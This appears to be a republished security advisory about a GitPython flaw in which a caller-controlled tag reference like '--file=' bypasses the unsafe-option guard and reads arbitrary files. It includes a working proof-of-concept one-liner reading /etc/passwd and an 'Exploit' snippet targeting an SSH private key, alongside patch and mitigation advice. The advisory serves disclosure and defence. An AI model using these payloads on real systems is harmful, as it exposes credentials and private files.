GitPython, Arbitrary File Read via Unsafe Option Forwarding, CVE-2026-42215 (Medium) -DC-Sep2026-2248

Listen to this Post

TagReference.create() forwards a caller-influenced positional reference value into git tag without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file’s contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit 3af0c251 (the fix for GHSA-3f7w-8rr8-f37f’s tag instance).
The fix 3af0c251 added unsafe_git_tag_options = [“–file”,”-F”] and a guard call, but the guard is Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=…) at git/refs/tag.py:139 — it passes an EMPTY args list and inspects kwargs only. The dangerous values path and reference are POSITIONALS (args = (path, reference), tag.py:156), placed before any –. A user-influenced reference=”–file=” therefore reaches git tag as the exact –file option the fix intended to block, creating an annotated tag whose message is the file’s contents.
Arbitrary local file read at the privileges of the host process; contents returned in-band via tagref.tag.message. Requires the embedding application to forward a caller-influenced reference value into TagReference.create() (pure VALUE control — the CVE-2026-42215 threat model). Default allow_unsafe_options=False.

DailyCVE Form:

Platform: GitPython
Version: <=3.1.58
Vulnerability: Arbitrary File Read
Severity: Medium (CVSS 6.5)
date: 2026-09-08

Prediction: Patch expected Q3 2026

What Undercode Say:

Check vulnerable version
pip show gitpython | grep Version
Proof of concept - read /etc/passwd
python3 -c "from git import Repo, TagReference; r=Repo('.'); t=TagReference.create(r, 'pwn', reference='--file=/etc/passwd'); print(t.tag.message)"

Exploit: (Educational Purposes!)

from git import Repo, TagReference
Initialize repository
repo = Repo('/path/to/repo')
Exploit: read arbitrary file via --file
t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa")
print(t.tag.message) contents of the file

Protection:

1. Upgrade to GitPython >= 3.1.59

  1. Apply fix: include positional reference in option-candidate list passed to check_unsafe_options
  2. Place a `–` separator before positional arguments in TagReference.create()
  3. Sanitize user input before passing to reference parameter

Impact:

  • Arbitrary local file read at host process privileges
  • Contents returned in-band via tag.message
  • Exposes sensitive files (/etc/passwd, .ssh/id_rsa, etc.)
  • Requires embedding app to forward user-controlled reference
  • Default allow_unsafe_options=False does NOT protect

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top